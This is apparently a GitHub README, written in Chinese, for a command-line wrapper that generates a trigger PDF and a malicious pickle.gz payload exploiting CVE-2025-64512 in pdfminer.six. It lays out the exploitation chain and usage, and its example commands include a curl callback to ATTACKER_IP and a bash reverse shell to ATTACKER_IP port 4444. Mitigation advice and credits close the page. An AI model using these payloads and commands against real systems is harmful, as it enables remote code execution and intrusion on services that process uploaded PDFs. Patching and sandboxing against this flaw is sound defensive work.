BardLaudian/CVE-2025-64512

GitHub: BardLaudian/CVE-2025-64512

针对 pdfminer.six 不安全 Pickle 反序列化漏洞(CVE-2025-64512)的官方 PoC 命令行封装工具,用于生成可触发远程代码执行的载荷。

Stars: 0 | Forks: 0

# CVE-2025-64512 — pdfminer.six 通过恶意 PDF 导致的不安全反序列化 (Pickle) ![Python](https://img.shields.io/badge/python-3.8+-blue) ![CVE](https://img.shields.io/badge/CVE-2025--64512-red) ![Platform](https://img.shields.io/badge/platform-HTB-green) ## 目录 - [概述](#overview) - [漏洞详情](#vulnerability-details) - [工作原理](#how-it-works) - [环境要求](#requirements) - [安装说明](#installation) - [使用方法](#usage) - [示例](#examples) - [缓解措施](#mitigations) - [致谢](#credits) - [参考](#references) ## 概述 **pdfminer.six** 是一个广泛使用的 Python 库,用于从 PDF 文件中提取文本和元数据,通常嵌入在文档处理 pipeline、CLI 工具以及 AI/数据导入工作流中。受影响的版本使用 Python 的 `pickle` 模块加载用于支持 CJK 字体的 CMap(字符映射)缓存文件,但没有验证解析后的路径是否保留在预期的缓存目录中。 一个特殊构造的 PDF 可以为此 CMap 查找引用攻击者控制的路径。如果攻击者还能在该解析路径上放置一个恶意的 `.pickle.gz` 文件(例如,通过同一位置的文件上传功能),处理该 PDF 就会对攻击者控制的数据触发 `pickle.loads()`,从而导致**任意代码执行**。这种确切的机制——包括 PoC PDF 结构——已由 mtolley 在官方安全公告中记录。 此仓库包含一个围绕 CVE-2025-64512 的 GitHub 安全公告中发布的官方概念验证 (PoC) 的轻量级 CLI 封装。**它没有引入任何新的利用技术**——恶意 PDF 模板几乎是直接从公告中引用的;此脚本仅对目标路径、要执行的命令和输出文件名进行了参数化,以便更容易重用该 PoC。 ## 漏洞详情 | 字段 | 值 | |-------------|---------------------------------------------------| | CVE | CVE-2025-64512 | | 受影响版本 | pdfminer.six ≤ 20250506 (以及 markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) | | 类型 | 不安全反序列化 (CWE-502) | | 权限 | 无需权限(如果 PDF 处理接口暴露,则无需身份验证) | | 影响 | 任意代码执行 | | 补丁 | pdfminer.six 20251107+ | ## 工作原理 pdfminer.six 中的 `CMapDB._load_data()` 会将取自 PDF 字体 `/Encoding` 条目的 CMap 名称解析为文件路径,并且如果它以 `.pickle.gz` 结尾,就会使用 `pickle.loads()` 加载它。该函数没有验证解析后的路径是否保留在 pdfminer 自己的 `cmap/` 目录中。 ### 攻击条件 1. 一个**触发 PDF**,其字体 `/Encoding` 引用了一个攻击者指定的路径(经过 URL 编码,`/` 替换为 `#2F`)。 2. 在处理 PDF 时,目标文件系统的 `<该路径>.pickle.gz` 处必须存在一个**恶意的 `.pickle.gz`**文件。 这两个文件通常可以通过最终由 pdfminer.six 处理的同一个上传通道(例如文档导入 pipeline)进行投放,只要生成的磁盘路径是可预测或可发现的即可。 ### 利用流程 ``` 1. Generate a malicious pickle payload (executes a command on unpickling) 2. Compress it as .pickle.gz 3. Generate a "trigger" PDF whose font /Encoding points to the full target-filesystem path of that .pickle.gz (without the extension) 4. Deliver both files to the target so they land at the expected paths 5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py) to process the trigger PDF 6. pickle.loads() executes the payload -> RCE ``` ## 环境要求 - Python 3.8+(仅使用标准库 —— `gzip`、`pickle`、`argparse`) **生成** payload 无需第三方依赖。**目标**必须具有存在漏洞的 pdfminer.six(或依赖它的项目)并且实际在处理上传的 PDF。 ## 安装说明 ``` git clone https://github.com/BardLaudian/CVE-2025-64512.git cd CVE-2025-64512 ``` ## 使用方法 ``` usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND] options: --pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf) --gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz) --path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the pickle.gz will end up, e.g. /var/www/app/uploads/xxxx --command COMMAND, -c COMMAND Command to execute on the target (default: id) ``` ## 示例 ### 基本用法 ``` python3 gen_payload.py \ --path "/var/www/app/uploads/payload" \ --command "id > /tmp/pwned" \ --pdf-out trigger.pdf \ --gz-out payload.pickle.gz ``` 这将生成: - `payload.pickle.gz` — 首先上传此文件,到 `.../uploads/payload.pickle.gz` - `trigger.pdf` — 其次上传此文件;一旦目标使用 pdfminer.six 处理它,命令就会运行 ### 网络回调(用于在没有文件系统访问权限的情况下确认 RCE) ``` python3 gen_payload.py \ --path "/var/www/app/uploads/payload" \ --command "curl http://ATTACKER_IP:8000/rce-confirmed" \ --pdf-out trigger.pdf --gz-out payload.pickle.gz ``` ### 反向 shell ``` python3 gen_payload.py \ --path "/var/www/app/uploads/payload" \ --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \ --pdf-out trigger.pdf --gz-out payload.pickle.gz ``` ## 缓解措施 - **更新** pdfminer.six 至 20251107 或更高版本(或任何捆绑它的项目的已修补版本,例如 markitdown ≥ 0.1.4, pdfplumber ≥ 0.11.8)。 - **限制/验证**最终由 pdfminer.six 或基于它构建的工具处理的任何用户上传内容。 - 对 PDF 处理 pipeline 进行**沙盒隔离**(容器、seccomp、禁止出站网络),以使反序列化 RCE 的影响范围降至最低。 - **监控**文档处理服务生成的意外子进程。 ## 致谢 - **漏洞发现与报告者:** [mtolley](https://github.com/mtolley) - **公告发布者:** pdfminer.six 维护者 ([pietermarsman](https://github.com/pietermarsman)) - **原始 PoC(恶意 PDF 模板):** 来自 [官方 GitHub 安全公告](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp) - **CLI 封装 / 参数化:** Bardlaudian —— 官方 PoC 的一个轻量级便捷封装,没有使用新技术 ## 参考 - [官方 GitHub 安全公告 — GHSA-wf5f-4jwr-ppcp(此处使用的 PoC 来源)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp) - [pdfminer.six 仓库](https://github.com/pdfminer/pdfminer.six) - [luigigubello 的多语言变体(单文件 PDF+pickle.gz 技巧,本仓库未使用)](https://github.com/luigigubello/CVE-2025-64512-Polyglot-PoC)
标签:Go语言工具, Maven, Python, 反序列化, 无后门, 漏洞验证, 逆向工具